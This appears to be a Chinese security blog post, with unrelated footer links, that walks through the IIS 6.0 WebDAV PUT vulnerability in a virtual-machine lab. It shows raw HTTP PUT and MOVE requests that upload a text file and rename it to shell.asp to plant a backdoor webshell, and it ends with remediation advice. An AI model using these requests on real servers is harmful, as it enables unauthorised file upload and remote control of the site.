[WEB安全]IIS-PUT漏洞
0x00 IIS简介
IIS是Internet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。
最初是Windows NT版本的可选包,随后内置在Windows 2000、Windows XP Professional和Windows Server 2003一起发行,但在Windows XP Home版本上并没有IIS。
IIS是一种Web(网页)服务组件,其中包括Web服务器、FTP服务器、NNTP服务器和SMTP服务器.
分别用于网页浏览、文件传输、新闻服务和邮件发送等方面,它使得在网络(包括互联网和局域网)上发布信息成了一件很容易的事。
0x01 Put漏洞造成原因
IIS Server在Web服务扩展中开启了WebDAV,配置了可以写入的权限,造成任意文件上传。
0x02 实验环境搭建
1:安装VMware
2:安装WIN2003
3:配置网络连接
4:安装IIS6.0(64bit)
VMware虚拟机选择的网络是.NET模式,或者桥接模式也可以!但前提必须让2003和物理机相互Ping通才可以!
有时候互相Ping不通可能是防火墙的原因,可以把防火墙关闭就可以Ping通了
在这里我的物理机IP:192.168.1.100
WIN2003虚拟机的IP:192.168.119.133

然后配置完IIS后我们用物理机访问WIN2003的IP看看能不能打开网页:

上面说明是可以访问到网站的。(一切就绪)
0x03 需要用到的工具
这里不借助这个工具也是可行的,熟悉了这些请求方式的格式之后,就可以通过burp抓包,改数据也行。
当然也可以利用这个工具:IIS写权限的利用 - 桂林老兵:https://www.arpun.com/soft/13406.html
(PS:不建议下载到本机吼~)

0x04 IIS-PUT漏洞演示实战
首先来到Internet信息服务(IIS)管理器 - Web服务扩展:
我们把WebDAV设置为允许、然后网站主目录下设置可写入权限:


这个时候就有可能照成任意文件上传,我们来先来发送一个OPTIONS请求:
options 请求属于浏览器的预检请求,查看服务器是否接受请求,预检通过后,浏览器才会去发 get, post, put, delete 等请求。

可以看到服务器可以使用PUT、DELETE、MOVE等敏感请求方式,那么我们来试试用PUT写一个文件:


发现成功上传了txt文件。(这里如果无法上传的话,有可能是多重原因,网站目录权限不够或者没有在文件名前面加上/)
那我们再上传脚本文件asp试试:

这个时候就不行了,但是我们可以通过MOVE请求方式,并利用刚刚上传上去的test.txt文件做些改动:

这里就可以看到,我们通过先前上传的test.txt,借助MOVE给他更改了后缀名,那看看里面的内容有没有发生变化:

文件内容并没有发生任何变化,这里的MOVE协议是不可以更改文件内容的。
总结一下,只要能够上传恶意的txt文件,同时借助MOVE请求方式就可以生成恶意连接后门。
从新上传一个恶意txt,尝试连接菜刀,完全没问题的。

0x05 常见请求协议
GET:
GET /test.txt HTTP/1.1
Referer: http://192.168.101.100
Host: 192.168.101.100
Cookie: iscookies=0;
DELETE:
DELETE /test.txt HTTP/1.1
Host: 192.168.101.100
PUT:
PUT /test.txt HTTP/1.1
Host: 192.168.101.100
Content-Length: 17
this is a test
POST:
POST /test.txt HTTP/1.1
Referer: http://192.168.101.100
Host: 192.168.101.100
Content-Length: 5
Cookie: iscookies=0;
this is a test
MOVE:
MOVE /test.txt HTTP/1.1
Host: 192.168.101.100
Destination: http://192.168.101.100/shell.asp
0x06 漏洞修复建议
1:关闭WebDAV
2:关闭写入权限
[WEB安全]IIS-PUT漏洞的更多相关文章
- Web Server (IIS) Administration Cmdlets in Windows PowerShell
https://technet.microsoft.com/en-us/library/ee790599.aspx Web Server (IIS) Administration Cmdlets in ...
- Web 服务器 (IIS) 角色
原文:Web 服务器 (IIS) 角色 1. 对于默认安装,请在命令行提示符下键入以下命令,然后按 Enter: start /w pkgmgr /iu:IIS-WebServerRole;WAS-W ...
- 基于Web的IIS管理工具
Servant:基于Web的IIS管理工具 Servant for IIS是个管理IIS的简单.自动化的Web管理工具.安装Servant的过程很简单,只要双击批处理文件Install Serva ...
- web端常见安全漏洞测试结果分析-- appscan
基于appscan测试结果分析: 一.XSS跨站脚本 指的是攻击者往Web页面里插入恶意html代码,通常是JavaScript编写的恶意代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被 ...
- VS2017 无法连接到Web服务器“IIS Express”终极解决方案
今天日了gou了,一大早打开VS2017的时候出现无法连接到Web服务器"IIS Express"的错误,然后必应了一下,再谷歌了一下找到的解决方法也都千篇一律,奈何都没能解决,最 ...
- ArcServer10.1系列产品之ArcGIS Web Adaptor (IIS)
1.关于 ArcGIS Web Adaptor 通过 ArcGIS Web Adaptor,可以将 ArcGIS for Server 与您现有的 Web 服务器进行集成.ArcGIS Web Ada ...
- Visual Studio 2017 无法连接到Web服务器"IIS Express"
.net core2.2 无法连接到Web服务器"IIS Express" 解决方案: 用命令提示符输入以下命令 sc config http start= auto 重启计算机, ...
- 通过混合编程分析的方法和机器学习预测Web应用程序的漏洞
通过混合编程分析的方法和机器学习预测Web应用程序的漏洞 由于时间和资源的限制,web软件工程师需要支持识别出有漏洞的代码.一个实用的方法用来预测漏洞代码可以提高他们安全审计的工作效率.在这篇文章中, ...
- Unable to connect to web server 'IIS Express'(无法连接到Web服务器“IIS Express”)的解决方式-Jexus Manager
在运行微软示例工程eShopOnWeb时候, 在经过一段时间再运行启动报Error "Unable to connect to web server 'IIS Express'" ...
- web前后端分离漏洞分析防御
web前后端分离漏洞分析防御 漏洞分析,主要漏洞有 一.跨站脚本攻击XSS 程序 + 数据 = 结果:攻击后,数据夹杂一部分程序(执行代码),导致结果改变: 1.XSS攻击注入点 (a):HTML节点 ...
随机推荐
- 洛谷P3372--线段树代码模板1
如题,已知一个数列,你需要进行下面两种操作: 1.将某区间每一个数加上x 2.求出某区间每一个数的和 输入格式 第一行包含两个整数N.M,分别表示该数列数字的个数和操作的总个数. 第二行包含N个用空格 ...
- centos7.x安装docker-ce
环境: 系统:centos7.x docker版本:19.03.2 安装方式:yum 参考官方安装文档:https://docs.docker.com/install/linux/docker-ce/ ...
- H5 新增标签canvas 画布
canvas是写在body中的标签,设置宽高后,通过JS来往其中绘制想要的内容, canvas可以理解为一个画板,而JS就是你的画笔. 1.获取到画布 var canvas = document.ge ...
- 14 Windows编程——SetWindowLong
使用默认窗口处理函数,源码 #include<Windows.h> #include<Windowsx.h> LRESULT CALLBACK WindProc(HWND hw ...
- 虚拟dom应用
vdom如何应用,核心api是什么 1.介绍snabbdom(开源社区用的多,vue2用的是他) 首先回顾下之前的vdom格式 真实的dom <body> <ul id=" ...
- P1352 没有上司的舞会[树形dp]
题目描述 某大学有N个职员,编号为1~N.他们之间有从属关系,也就是说他们的关系就像一棵以校长为根的树,父结点就是子结点的直接上司.现在有个周年庆宴会,宴会每邀请来一个职员都会增加一定的快乐指数Ri, ...
- Hibernate初探之单表映射——Hibernate概念及插件的安装
什么是ORM ORM(Object/Relationship Mapping):对象/关系映射 为什么要有ORM? 利用面向对象思想编写的数据库应用程序最终都是把对象信息保存在关系型数据库中,于是要编 ...
- 7月新的开始 - Axure学习04 - 发布与预览、菜单和表格元件、流程图和连接点、标记元件
Axure 的发布与预览 1.发布 2.生成html文件 常规:指定浏览器.工具栏的生成 页面.页面说明.元件说明.交互.标志(logo和描述).字体.移动设备等 3.发布到Axshare Axure ...
- c语言之——整型的隐式转换与溢出检测
溢出检测 我们可以通过下面的方式来检测溢出: if(a > INT_MAX - b) { printf("overflow\n"); } 我们利用整型的最大值减去其中 ...
- LightOJ - 1078-Integer Divisibility(同余)
链接: https://vjudge.net/problem/LightOJ-1078 题意: If an integer is not divisible by 2 or 5, some multi ...